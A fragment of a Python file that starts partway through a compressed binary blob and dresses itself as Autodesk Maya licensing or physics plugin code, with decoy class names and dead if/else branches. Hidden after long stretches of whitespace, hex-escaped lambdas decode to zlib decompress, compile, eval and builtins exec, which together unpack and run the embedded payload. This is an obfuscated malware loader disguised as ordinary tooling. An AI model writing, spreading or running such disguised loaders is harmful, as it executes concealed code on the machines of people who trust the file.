\xb0\xf79o\xc8\xcfs}2\xcd\xd5\xdeW\xd6H\xdc\xde$z\xed\xe6P~\xedA\xbb\xe9&\xfbt\x03\xe92m\xf3G>\xc3\xb1}\xf2V7\xcf\xf4\xd2F\xfb\x9f\xefi\x16\xbbg\xf7jt\xdb\xfb\xf3\x7f!\x7f\xf2S@\x7f\xc1\xf3B\x7f~f\xc8M\x8f\x0c\xcdO\x19N;\xec^Q\xc9\xc3\xd9\xd0\xed\xea\xd9\xd8W\xcf\xa8\xce\x0f\xad\x8e\xab\xbd[\xcb\xe3\xcd\xd1\xed\xb69\x19R\xb8=\xfd\x13\xf3\xed6\x85I\xe8\xdb\xcd\xc9\xedq\xd5\rk\x9d\xbd5\x9f]\x8f+\x1aL\xd7M\xfb\xdb\xeb\xfa\xa1}\xf1\xdbb\xdc\xfcv\xeb|o\xf7\xd0F\x9c\xc6>\x9c\x9f\xd1\xdd{\xa3\xab\xd3\xe3\x7f\x7fs\xeb6\xaf\xe9\xf7\x1d\xfdkr\xbf;\xff8\xe9\x9au\xbf:\xde5s\xcf\xef\xf3\x87\xbf\xd7\xf0\xac.|5\x9e\xfd\xc7\xc0\xfc\x00\xc2\xfc8\xc2K\xa9\xa0\x1b\x9e\x9f\xde\xfe\xce6\xab\xcdZ\x13\x1b\xa61gQN\x8f\x9bnh\x9b\xee\x0f;x\xfe\xeb\xce\xf3\xe3\xd5\xfat\xc1\xf5\xbb\xd3H\xf6{w\xdb\xfd\xfc\xd1pw\x96\x9b\xe3\xa3\xe6tw@\xa4\xff\x02\xad\x02\xf3R')

        if 408341 > 8470960:
            _broutilities(_physicsanimator3d = -67467 * 1535).LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework - -46343)
        elif 319269 < 7214750:
            _licensecheckeragent.LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework / -58656)                                                                                                                                                                                                                                                          ;NNMMMMNMMMNNNMNNNMNN,lIIlllIlllIIIIIlI,NNMMNMMNNNNMNMMMNNMNNNNN,WWXXXXXXXXXXXXWWXXXXW,nnmmnnnmnmmmmmnnnnmmmmm=(lambda O00o00oOOo0OOOoOOO:O00o00oOOo0OOOoOOO(__import__('\x7a\x6c\x69\x62'))),(lambda O00o00oOOo0OOOoOOO:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(O00o00oOOo0OOOoOOO)"),filename='\x49\x6c\x49\x49\x49\x6c\x49\x6c\x6c\x49\x49\x49\x6c\x49\x49\x6c\x6c\x49',mode='\x65\x76\x61\x6c'))),(lambda O00o00oOOo0OOOoOOO:O00o00oOOo0OOOoOOO['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda nmmnnnmnnmnmmnmmnnn,O00o00oOOo0OOOoOOO:nmmnnnmnnmnmmnmmnnn(O00o00oOOo0OOOoOOO)),(lambda:(lambda O00o00oOOo0OOOoOOO:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(O00o00oOOo0OOOoOOO)"),filename='\x49\x6c\x49\x49\x49\x6c\x49\x6c\x6c\x49\x49\x49\x6c\x49\x49\x6c\x6c\x49',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63'))
        if 287450 > 2259230:
            _licensecheckeragent.LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework - 77717)
        elif 314722 < 1346442:
            _broutilities(_physicsanimator3d = 88782 + -64127).LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework / -82641)                                                                                                                                                                                                                                                          ;nnmmnnnmnmmmmmnnnnmmmmm()(WWXXXXXXXXXXXXWWXXXXW(NNMMNMMNNNNMNMMMNNMNNNNN(NNMMMMNMMMNNNMNNNMNN(lIIlllIlllIIIIIlI('\x76\x61\x72\x73'))),_broutilities.SceneAnalyzer(DynamicNodeProcessor='OOoooOOOooOo00oo0o0O')+_broutilities.SceneAnalyzer(DynamicNodeProcessor='iljiiiijiliiililjililj')))

except Exception as _mayanode:
        if 398936 > 1166344:
            _broutilities.execute(code = MayaCMDSWrapper(_mayanode))

        elif 204148 > 644527:
            _broutilities(_physicsanimator3d = 21716 - 29350).LicenseVerifier(PhysicsEngineCoordinator = _licensecheckeragent.MayaLicensingFramework / 82339)

